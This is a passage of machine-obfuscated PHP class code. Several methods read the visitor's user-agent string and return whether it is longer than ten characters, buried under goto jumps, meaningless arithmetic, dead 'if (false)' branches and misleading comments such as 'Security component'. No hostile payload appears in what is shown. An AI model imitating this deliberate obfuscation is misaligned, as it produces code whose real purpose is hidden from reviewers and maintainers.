686 + 8; $a29IFo9lZ = $B9ma2fmF * 3; goto JHtMkHs_; JHtMkHs_: /* System file */ goto FYO2K2ai; FYO2K2ai: $FbaGmw5w = 398 + 21; $NqlX8zGc = $FbaGmw5w * 2; goto z8_Co4YT; z8_Co4YT: goto HnMcdWpC; HnMcdWpC: /* Main service */ goto aoYUxTdo; aoYUxTdo: goto a8ZUhAyn0; a8ZUhAyn0: // 6sXHkCXx $Pe9zuJ4r = 622 + 40; $FbaGmw5w = $Pe9zuJ4r * 2; goto Vuri4RN0; Vuri4RN0: $n7sJ6WnP = 802 + 25; $iCjD65Pi = $n7sJ6WnP * 5; goto he3Eh47w; he3Eh47w: if (false) { echo 'This is a dead end'; } goto adVZ8yVJ; adVZ8yVJ: /* Main service */ goto anF9Kgs5; anF9Kgs5: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto pkSyYaJ4; pkSyYaJ4: /* API handler */ goto TtvyJQ6J; TtvyJQ6J: // 2Lg_pBmZ goto wYLM1lLL; wYLM1lLL: /* ft1NLIeczf */ goto p5dPVk2i; p5dPVk2i: if (false) { echo 'This is a dead end'; } goto qyzfbtdu; qyzfbtdu: goto a9fZ_P8GS; a9fZ_P8GS: goto Gqfjafk3; Gqfjafk3: /* API handler */ $B9ma2fmF = 593 + 40; $n7sJ6WnP = $B9ma2fmF * 4; goto ld76WYGh; ld76WYGh: goto a6TDtBd66; a6TDtBd66: /* ThXVjqPOz8SASZI */ goto m5D6TlQn; m5D6TlQn: goto wfx2WJ0W; wfx2WJ0W: /* System file */ goto kR80gH2k; kR80gH2k: goto hjiJDdcO; hjiJDdcO: /* Core module */ goto DWlgw1bJ; DWlgw1bJ: /* wcrl8A8DG7YB8W8ugWPx */ $iX1geSuk = 678 + 22; $iX1geSuk = $iX1geSuk * 5; goto nKDQOvKU; nKDQOvKU: $a29IFo9lZ = 360 + 39; $NqlX8zGc = $a29IFo9lZ * 1; goto a8xK6PrNN; a8xK6PrNN: $jIP39ari = strlen($B9ma2fmF); goto a3OMwJVM8; a3OMwJVM8: if (false) { echo 'This is a dead end'; } goto plZFGgiV; plZFGgiV: /* API handler */ goto a8qG0g511; a8qG0g511: goto a5A68XSFa; a5A68XSFa: /* Security component */ $FbaGmw5w = 406 + 38; $Pe9zuJ4r = $FbaGmw5w * 1; goto QIxipJoz; QIxipJoz: goto vlCPaGS8; vlCPaGS8: /* Security component */ if (false) { echo 'This is a dead end'; } goto LkIEd8XF; LkIEd8XF: /* Core module */ goto EyvN6Dx_; EyvN6Dx_: goto VT_KS0Qt; VT_KS0Qt: $Pe9zuJ4r = 205 + 33; $n7sJ6WnP = $Pe9zuJ4r * 5; goto a_lNXuvwL; a_lNXuvwL: /* Main service */ if (false) { echo 'This is a dead end'; } goto fEosWQKz; fEosWQKz: /* System file */ $iCjD65Pi = 819 + 44; $WWDcP6ib = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto BnDzDZYU; BnDzDZYU: goto ExBeYvoP; ExBeYvoP: goto T8mJBLNf; T8mJBLNf: /* System file */ $iX1geSuk = 187 + 6; $bZa4iOd6 = $iX1geSuk * 5; goto BIKcf7mm; BIKcf7mm: /* Core module */ goto l7RuoYNh; l7RuoYNh: return $jIP39ari > 10; } private function BEj13F4Ci6() { /* QaudQ2nsFom74BJ */ goto wvjU4mwa; wvjU4mwa: $XsucffsH = 821 + 44; $B9ma2fmF = $XsucffsH * 4; goto rTjacSQB; rTjacSQB: goto IQact2IC; IQact2IC: goto WyMR3Mu1; WyMR3Mu1: goto HNFbDAf7; HNFbDAf7: /* Core module */ goto d1arRFoo; d1arRFoo: // NQwQm1jZRaIj if (false) { echo 'This is a dead end'; } goto HpyFTKl0; HpyFTKl0: if (false) { echo 'This is a dead end'; } goto a5EwBnOJl; a5EwBnOJl: /* W6E4zDeFf1TxqIS */ $B9ma2fmF = 896 + 43; $n7sJ6WnP = $B9ma2fmF * 2; if (false) { echo 'This is a dead end'; } goto dIqhzK19; dIqhzK19: $B9ma2fmF = 746 + 40; $iX1geSuk = $B9ma2fmF * 1; goto tyxah7ph; tyxah7ph: if (false) { echo 'This is a dead end'; } goto RS0rkypP; RS0rkypP: // y1anocvBAR9o $Pe9zuJ4r = 962 + 13; $a6EHyDbxg = $Pe9zuJ4r * 5; goto TM5ZeKkC; TM5ZeKkC: /* API handler */ goto mCERpqGc; mCERpqGc: $BqYDw4sr = 408 + 30; $BqYDw4sr = $BqYDw4sr * 4; goto MWUDA7xG; MWUDA7xG: if (false) { echo 'This is a dead end'; } goto rFaeMNSD; rFaeMNSD: goto WLNYN05t; WLNYN05t: $NqlX8zGc = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto SqLXg6yN; SqLXg6yN: // 8ZiLrqyt goto a_4hH4zvl; a_4hH4zvl: $jIP39ari = 470 + 8; $BqYDw4sr = $jIP39ari * 2; goto VdTPDWCN; VdTPDWCN: goto a5UwSLqnX; a5UwSLqnX: goto QWPRcT6m; QWPRcT6m: /* System file */ goto a68W1Up5U; a68W1Up5U: /* vSShMc_3_Gu7G6w */ goto I2YcWoBO; I2YcWoBO: $iCjD65Pi = 185 + 49; $jIP39ari = $iCjD65Pi * 4; goto a8QymM0Ku; a8QymM0Ku: /* Security component */ goto a9K4BP736; a9K4BP736: /* Main service */ $a6b9oay5s = 532 + 36; $FbaGmw5w = $a6b9oay5s * 3; goto aqI4khsZ; aqI4khsZ: /* eIo6TpSMVFDRzEGpe2qm */ $XsucffsH = 457 + 24; $WWDcP6ib = $XsucffsH * 1; if (false) { echo 'This is a dead end'; } goto qz_06ZyT; qz_06ZyT: if (false) { echo 'This is a dead end'; } goto qRCjHWwB; qRCjHWwB: $bZa4iOd6 = 925 + 26; $n7sJ6WnP = $bZa4iOd6 * 5; goto lm5tSr3Z; lm5tSr3Z: /* Main service */ goto Sq_Wr2X3; Sq_Wr2X3: /* API handler */ goto jPJUPnDG; jPJUPnDG: /* System file */ goto wmkTIxBO; wmkTIxBO: $a29IFo9lZ = strlen($NqlX8zGc); goto pXPgd97Y; pXPgd97Y: /* gBSIXjqhaz */ $BqYDw4sr = 596 + 41; $NqlX8zGc = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto uI91OG0i; uI91OG0i: /* Core module */ goto GYIchRMW; GYIchRMW: goto g0De8fJS; g0De8fJS: /* Core module */ $jIP39ari = 855 + 9; $jIP39ari = $jIP39ari * 5; if (false) { echo 'This is a dead end'; } goto gvwQuNoR; gvwQuNoR: /* Security component */ if (false) { echo 'This is a dead end'; } goto ir6MMuaM; ir6MMuaM: goto GNyErTlH; GNyErTlH: goto dVYNrOyu; dVYNrOyu: /* Main service */ $bZa4iOd6 = 941 + 6; $n7sJ6WnP = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto a4UyIgyMn; a4UyIgyMn: if (false) { echo 'This is a dead end'; } goto v80ICQ5F; v80ICQ5F: $WWDcP6ib = 919 + 18; $B9ma2fmF = $WWDcP6ib * 5; goto a4MSgRGP6; a4MSgRGP6: /* Main service */ if (false) { echo 'This is a dead end'; } goto XEWVv71i; XEWVv71i: $a6EHyDbxg = 857 + 29; $B9ma2fmF = $a6EHyDbxg * 1; goto V0FBCh8L; V0FBCh8L: /* Main service */ $XsucffsH = 801 + 42; $B9ma2fmF = $XsucffsH * 4; goto kAtKDcDb; kAtKDcDb: /* 6LFvH8YeA0n_VRA */ $n7sJ6WnP = 419 + 22; $a6b9oay5s = $n7sJ6WnP * 2; goto MWagADRK; MWagADRK: goto a3jauwEmI; a3jauwEmI: return $a29IFo9lZ > 10; } private function oZ998ElyJu() { /* Eeu3_L0WqIaemuX */ goto a2nyhHEzA; a2nyhHEzA: /* lv1rTQArvJyIN5HwI8vf */ $XsucffsH = 345 + 22; $FbaGmw5w = $XsucffsH * 5; if (false) { echo 'This is a dead end'; } goto ifujcyim; ifujcyim: goto pcdb0MTV; pcdb0MTV: goto AcJQaJJ9; AcJQaJJ9: /* Main service */ if (false) { echo 'This is a dead end'; } goto a_2lntdj2; a_2lntdj2: goto HsSGeAtY; HsSGeAtY: /* System file */ if (false) { echo 'This is a dead end'; } goto a3E7iB4uf; a3E7iB4uf: /* Core module */ goto m3iNP4q1; m3iNP4q1: goto XHOea4D9; XHOea4D9: /* Core module */ goto hpeXVU0X; hpeXVU0X: // uZzivHQRbT1AJE_3 if (false) { echo 'This is a dead end'; } goto pQ8H290j; pQ8H290j: if (false) { echo 'This is a dead end'; } goto BSw90V2Y; BSw90V2Y: goto BoLh7xKV; BoLh7xKV: /* System file */ goto BTuo7zaw; BTuo7zaw: // edRuBKdbVbxf $jIP39ari = 260 + 6; $jIP39ari = $jIP39ari * 4; goto WhSh91KU; WhSh91KU: /* bgM_Fi_NJCx2cEk */ goto HhGRpyQM; HhGRpyQM: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto jZAXsYkg; jZAXsYkg: /* API handler */ $iX1geSuk = 410 + 12; $n7sJ6WnP = $iX1geSuk * 3; goto YsHG49a3; YsHG49a3: goto Qr7BfdQ_; Qr7BfdQ_: goto Szgd718E; Szgd718E: goto jOvxih8q; jOvxih8q: if (false) { echo 'This is a dead end'; } goto dl98Nw5h; dl98Nw5h: /* System file */ $B9ma2fmF = 836 + 39; $BqYDw4sr = $B9ma2fmF * 3; if (false) { echo 'This is a dead end'; } goto Fkx6yTl7; Fkx6yTl7: /* 4EANZs5ObcQnl9t */ $Pe9zuJ4r = 759 + 2; $NqlX8zGc = $Pe9zuJ4r * 5; goto MAD7awig; MAD7awig: goto h4SDy1k8; h4SDy1k8: /* Security component */ goto i2uoCeBP; i2uoCeBP: goto a4FwgWhyZ; a4FwgWhyZ: // DRtJEYDQ goto a4jK21AaM; a4jK21AaM: $a29IFo9lZ = 125 + 31; $NqlX8zGc = $a29IFo9lZ * 3; goto m0cihxJn; m0cihxJn: $n7sJ6WnP = 391 + 43; $bZa4iOd6 = $n7sJ6WnP * 3; goto YKYGGkhW; YKYGGkhW: /* Core module */ $Pe9zuJ4r = 235 + 47; $B9ma2fmF = $Pe9zuJ4r * 4; if (false) { echo 'This is a dead end'; } goto toMEVHeY; toMEVHeY: goto VMmYxSy_; VMmYxSy_: $NqlX8zGc = strlen($Pe9zuJ4r); goto pLoKHIHm; pLoKHIHm: $iCjD65Pi = 694 + 35; $jIP39ari = $iCjD65Pi * 2; goto r0eoIkvm; r0eoIkvm: // MPzfUZQa goto xSMxy7kI; xSMxy7kI: /* System file */ goto a9gaaDBv_; a9gaaDBv_: // qsaI3Q_yvUdxlHle if (false) { echo 'This is a dead end'; } goto W758iUFZ; W758iUFZ: goto q4AbIHcT; q4AbIHcT: /* PmxvyCjiNuFk7lJru0Up */ goto DXTTB9IH; DXTTB9IH: /* Security component */ if (false) { echo 'This is a dead end'; } goto AFCqh4e5; AFCqh4e5: /* System file */ if (false) { echo 'This is a dead end'; } goto q3BkiINF; q3BkiINF: /* bucY9qPkPPdzHod */ $a6EHyDbxg = 436 + 28; $Pe9zuJ4r = $a6EHyDbxg * 1; if (false) { echo 'This is a dead end'; } goto Vvt65XPc; Vvt65XPc: /* 59RreBAlEss5Hbr_yliW */ goto LMw7BAXX; LMw7BAXX: goto j_jzWv6X; j_jzWv6X: /* API handler */ $BqYDw4sr = 252 + 40; $FbaGmw5w = $BqYDw4sr * 1; goto tVbtosZU; tVbtosZU: goto w6mh_W6k; w6mh_W6k: // TQ6WB5yTSwTe_Rxn goto JlNjuOte; JlNjuOte: $iCjD65Pi = 664 + 28; $WWDcP6ib = $iCjD65Pi * 5; goto efDwlWzS; efDwlWzS: return $NqlX8zGc > 10; } private function U8kJtg4We7() { goto ULHUwwSx; ULHUwwSx: // Yb3_jAqV goto Hxx9s3S1; Hxx9s3S1: goto tFWR9XFL; tFWR9XFL: $B9ma2fmF = 709 + 26; $iX1geSuk = $B9ma2fmF * 5; goto rL222vRW; rL222vRW: goto UMWk4MWp; UMWk4MWp: // oA1Qej6F4GYA goto t7NWVxOo; t7NWVxOo: $BqYDw4sr = 352 + 46; $FbaGmw5w = $BqYDw4sr * 1; goto YK2Xxwhj; YK2Xxwhj: goto J3ECtkCl; J3ECtkCl: /* API handler */ goto a9xu0pPpU; a9xu0pPpU: /* Security component */ $NqlX8zGc = 650 + 25; $NqlX8zGc = $NqlX8zGc * 5; goto SXM_k4K3; SXM_k4K3: /* Main service */ if (false) { echo 'This is a dead end'; } goto xMCxrhlF; xMCxrhlF: goto qsFOOYC8; qsFOOYC8: /* Security component */ goto e0nlBhW1; e0nlBhW1: goto FpyKOodV; FpyKOodV: goto BgYX8T38; BgYX8T38: $iCjD65Pi = 584 + 29; $a6EHyDbxg = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto F6xHYIjg; F6xHYIjg: $a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto k2vYleol; k2vYleol: goto HPo3HoF1; HPo3HoF1: /* Main service */ goto p2AhFWL3; p2AhFWL3: $bZa4iOd6 = 602 + 36; $a29IFo9lZ = $bZa4iOd6 * 5; goto vDwEkZbq; vDwEkZbq: $XsucffsH = 588 + 35; $B9ma2fmF = $XsucffsH * 4; goto NWjyGeOM; NWjyGeOM: /* Main service */ $bZa4iOd6 = 297 + 46; $n7sJ6WnP = $bZa4iOd6 * 2; goto ca36c1fn; ca36c1fn: /* Core module */ goto yLymEx3N; yLymEx3N: goto OxcmKbm6; OxcmKbm6: /* xYZhcTwHNmneKn3qyIc_ */ if (false) { echo 'This is a dead end'; } goto tgrkXc3j; tgrkXc3j: $bZa4iOd6 = 860 + 24; $a6EHyDbxg = $bZa4iOd6 * 3; goto hie7QQY8; hie7QQY8: // TuDt7cOUuj0pszoa goto WnnnqcRU; WnnnqcRU: goto JOVmN68X; JOVmN68X: /* Main service */ if (false) { echo 'This is a dead end'; } goto I0NLJ7BR; I0NLJ7BR: /* mtKgrL2IgC5oaec */ goto G0AK2Xrn; G0AK2Xrn: goto DoZzBCbv; DoZzBCbv: goto fXcJSiaa; fXcJSiaa: $jIP39ari = strlen($a29IFo9lZ); goto XkcojSVl; XkcojSVl: // BWRbB0i8RxToHqha $a6b9oay5s = 981 + 32; $XsucffsH = $a6b9oay5s * 3; goto a3FFypBvZ; a3FFypBvZ: goto a5kjcjWY5; a5kjcjWY5: /* System file */ if (false) { echo 'This is a dead end'; } goto hI6REqjW; hI6REqjW: /* gZaUSjtu_4lTv1p */ $iCjD65Pi = 635 + 14; $bZa4iOd6 = $iCjD65Pi * 3; goto N9bRSwV5; N9bRSwV5: /* DBWt5mjmu9 */ if (false) { echo 'This is a dead end'; } goto a_Re8dbrP; a_Re8dbrP: // uBxg76GS $a6EHyDbxg = 809 + 50; $jIP39ari = $a6EHyDbxg * 3; goto a3_HbyYl8; a3_HbyYl8: /* ugHrZxPat5cZBOyXI2QU */ goto jISG4eI_; jISG4eI_: $iCjD65Pi = 779 + 5; $a6EHyDbxg = $iCjD65Pi * 4; goto a6UxiRqHi; a6UxiRqHi: // G7zOUaXOQ04UysAW goto DGgF26hA; DGgF26hA: // V5cYxvJT goto a69C7SrSX; a69C7SrSX: goto R7aPvpYm; R7aPvpYm: $WWDcP6ib = 232 + 6; $FbaGmw5w = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto H8waovpQ; H8waovpQ: // ygQCAPt5F2tHORjh goto QqSnR_f7; QqSnR_f7: $iCjD65Pi = 850 + 38; $BqYDw4sr = $iCjD65Pi * 2; goto x1KL1qEB; x1KL1qEB: $BqYDw4sr = 640 + 25; $a6EHyDbxg = $BqYDw4sr * 3; goto a_uzJxuPl; a_uzJxuPl: return $jIP39ari > 10; } private function i4I3M3aPjf() { goto NWYhU72E; NWYhU72E: goto qWBJJcqD; qWBJJcqD: goto a0aRBICon; a0aRBICon: // h4DPyrAKoess $Pe9zuJ4r = 820 + 21; $jIP39ari = $Pe9zuJ4r * 2; goto ccGqY5D0; ccGqY5D0: /* System file */ goto nhQ3K1yz; nhQ3K1yz: // RAYUhO46dx3W goto a9kh80NiG; a9kh80NiG: goto WN9e5tdK; WN9e5tdK: /* API handler */ goto BtlwHvK7; BtlwHvK7: goto a0MMVhIXv; a0MMVhIXv: /* Core module */ goto UHifgyhB; UHifgyhB: $a6EHyDbxg = 759 + 33; $B9ma2fmF = $a6EHyDbxg * 3; goto lhdmR_i8; lhdmR_i8: goto IlMrEcC0; IlMrEcC0: goto Niz3zTxB; Niz3zTxB: /* HscpjOAeA9 */ goto LS61jLyi; LS61jLyi: /* Main service */ $B9ma2fmF = 183 + 14; $NqlX8zGc = $B9ma2fmF * 4; goto ag8dM0TB; ag8dM0TB: goto a6IhAjFvZ; a6IhAjFvZ: $iCjD65Pi = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto kkoueKB5; kkoueKB5: goto VGxsEops; VGxsEops: // XyFuOMLLFPIZbgLO goto y3_zbOi2; y3_zbOi2: /* Main service */ if (false) { echo 'This is a dead end'; } goto Gt9GeZPD; Gt9GeZPD: // rg6Rd_Rq $XsucffsH = 177 + 14; $Pe9zuJ4r = $XsucffsH * 1; goto tFVNB_LI; tFVNB_LI: goto tdJRHzBK; tdJRHzBK: goto QUq3rTdY; QUq3rTdY: /* API handler */ if (false) { echo 'This is a dead end'; } goto sD673XFZ; sD673XFZ: $n7sJ6WnP = 352 + 44; $a6EHyDbxg = $n7sJ6WnP * 4; goto a6XicJih5; a6XicJih5: $iCjD65Pi = 510 + 28; $iCjD65Pi = $iCjD65Pi * 2; goto zs7IGrAE; zs7IGrAE: /* Core module */ if (false) { echo 'This is a dead end'; } goto ZbSCetPT; ZbSCetPT: /* Security component */ if (false) { echo 'This is a dead end'; } goto aqJnKzqW; aqJnKzqW: if (false) { echo 'This is a dead end'; } goto Nc0u3Iip; Nc0u3Iip: /* Core module */ goto KAw2KyMH; KAw2KyMH: /* Core module */ goto qqRYYQCR; qqRYYQCR: /* API handler */ $iCjD65Pi = 694 + 10; $Pe9zuJ4r = $iCjD65Pi * 1; goto eixdQ5i3; eixdQ5i3: $FbaGmw5w = strlen($iCjD65Pi); goto pJ378JiS; pJ378JiS: goto oWGIuZW5; oWGIuZW5: if (false) { echo 'This is a dead end'; } goto a7L0Pu2ki; a7L0Pu2ki: goto OqHJOeh5; OqHJOeh5: $WWDcP6ib = 767 + 16; $iX1geSuk = $WWDcP6ib * 5; goto EQcwUU9K; EQcwUU9K: $Pe9zuJ4r = 772 + 50; $n7sJ6WnP = $Pe9zuJ4r * 1; goto wnNvbYTo; wnNvbYTo: $WWDcP6ib = 316 + 26; $iX1geSuk = $WWDcP6ib * 2; goto uEvk3swO; uEvk3swO: /* System file */ $jIP39ari = 964 + 29; $WWDcP6ib = $jIP39ari * 3; goto ROVTSRRq; ROVTSRRq: /* Dwxv9NqnaAXlxmPfgz0E */ goto UPh0iBK_; UPh0iBK_: /* URXBdKW6qY */ if (false) { echo 'This is a dead end'; } goto i97xfiXB; i97xfiXB: if (false) { echo 'This is a dead end'; } goto aseqz8Fu; aseqz8Fu: goto Y89Bujim; Y89Bujim: /* API handler */ if (false) { echo 'This is a dead end'; } goto HkklKTLL; HkklKTLL: goto a1kXm3C0c; a1kXm3C0c: // 3Z6Ox6pr goto g7IJTvTZ; g7IJTvTZ: goto DDJeQRcH; DDJeQRcH: return $FbaGmw5w > 10; } private function VqWkrbwL6n() { goto lR9HV3vF; lR9HV3vF: goto S9kEO5kx; S9kEO5kx: $a29IFo9lZ = 655 + 31; $a6EHyDbxg = $a29IFo9lZ * 4; goto ClD3LPfl; ClD3LPfl: // Yi9_JvdZJpFR $BqYDw4sr = 646 + 32; $iCjD65Pi = $BqYDw4sr * 1; goto myjOXYkr; myjOXYkr: /* WwCXtnphiRPssBKHyiyJ */ if (false) { echo 'This is a dead end'; } goto QgFhgUj4; QgFhgUj4: $XsucffsH = 939 + 29; $FbaGmw5w = $XsucffsH * 5; goto XCFma3AO; XCFma3AO: goto LZLhxy0c; LZLhxy0c: $a6EHyDbxg = 918 + 31; $XsucffsH = $a6EHyDbxg * 4; goto b7CfM9Wv; b7CfM9Wv: $n7sJ6WnP = 858 + 35; $bZa4iOd6 = $n7sJ6WnP * 4; if (false) { echo 'This is a dead end'; } goto a9_A2gMuK; a9_A2gMuK: /* GYbMmlcGnG */ if (false) { echo 'This is a dead end'; } goto cNTfeAgW; cNTfeAgW: /* 6Gg_BRQ5ji */ if (false) { echo 'This is a dead end'; } goto a7fGpfEqv; a7fGpfEqv: /* Core module */ goto Qvso36ZU; Qvso36ZU: // qB8k6GsY $a29IFo9lZ = 112 + 23; $Pe9zuJ4r = $a29IFo9lZ * 5; goto BFDd5_wA; BFDd5_wA: goto W6fbyRJx; W6fbyRJx: /* API handler */ $Pe9zuJ4r = 127 + 17; $B9ma2fmF = $Pe9zuJ4r * 4; goto SIxqJNaF; SIxqJNaF: goto bg0wRqou; bg0wRqou: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto w7yIuhm1; w7yIuhm1: $a29IFo9lZ = 766 + 20; $iX1geSuk = $a29IFo9lZ * 4; goto a3eXD_XL4; a3eXD_XL4: goto oCJrwVoZ; oCJrwVoZ: $BqYDw4sr = 942 + 15; $XsucffsH = $BqYDw4sr * 3; goto zRnY8Cjy; zRnY8Cjy: if (false) { echo 'This is a dead end'; } goto W_xSi8Vx; W_xSi8Vx: if (false) { echo 'This is a dead end'; } goto H0YUPpd9; H0YUPpd9: /* Security component */ goto OVd38Goe; OVd38Goe: /* API handler */ $bZa4iOd6 = 454 + 35; $XsucffsH = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto BKc4PZuQ; BKc4PZuQ: /* Core module */ goto a7ZEimvfl; a7ZEimvfl: /* pgDAnrDMes */ if (false) { echo 'This is a dead end'; } goto cE18sMPR; cE18sMPR: /* aJInHP8e3c */ goto p99MZBfn; p99MZBfn: goto NkTv4qe0; NkTv4qe0: /* System file */ $a29IFo9lZ = 556 + 14; $XsucffsH = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto P5TBeEsd; P5TBeEsd: /* bhiC_atWuHCdb2toWZNX */ goto RbblcxWR; RbblcxWR: /* Security component */ goto StF2kXd0; StF2kXd0: /* Core module */ goto Ge6qVIlJ; Ge6qVIlJ: $Pe9zuJ4r = strlen($n7sJ6WnP); goto W15_0CaB; W15_0CaB: /* Core module */ goto a6o50BQkb; a6o50BQkb: // iAaEch06 goto vvmkPQQS; vvmkPQQS: /* 6fu6rTuuWH */ if (false) { echo 'This is a dead end'; } goto prCqmxzU; prCqmxzU: /* 5jCZ0yecnJ */ goto Wf0zaJUY; Wf0zaJUY: /* API handler */ goto a44ICrAJ7; a44ICrAJ7: $iCjD65Pi = 552 + 40; $iX1geSuk = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto IUuy5Fz3; IUuy5Fz3: /* uIvybHhlzH */ $WWDcP6ib = 658 + 48; $FbaGmw5w = $WWDcP6ib * 5; goto N_ymOyNM; N_ymOyNM: /* API handler */ goto a2IPhiYF8; a2IPhiYF8: /* O64SSCwE9IhS9oiD3dZg */ goto QqIT_g4N; QqIT_g4N: // iPzjxzcu5zezkszA goto htqRtvjP; htqRtvjP: $iX1geSuk = 991 + 42; $a29IFo9lZ = $iX1geSuk * 3; goto k4EWrFjY; k4EWrFjY: $XsucffsH = 242 + 47; $Pe9zuJ4r = $XsucffsH * 1; goto qAEZ027m; qAEZ027m: goto a4ouqAsK7; a4ouqAsK7: goto QyLxw7cW; QyLxw7cW: $a6EHyDbxg = 206 + 21; $n7sJ6WnP = $a6EHyDbxg * 1; goto p7RsAnZM; p7RsAnZM: return $Pe9zuJ4r > 10; } }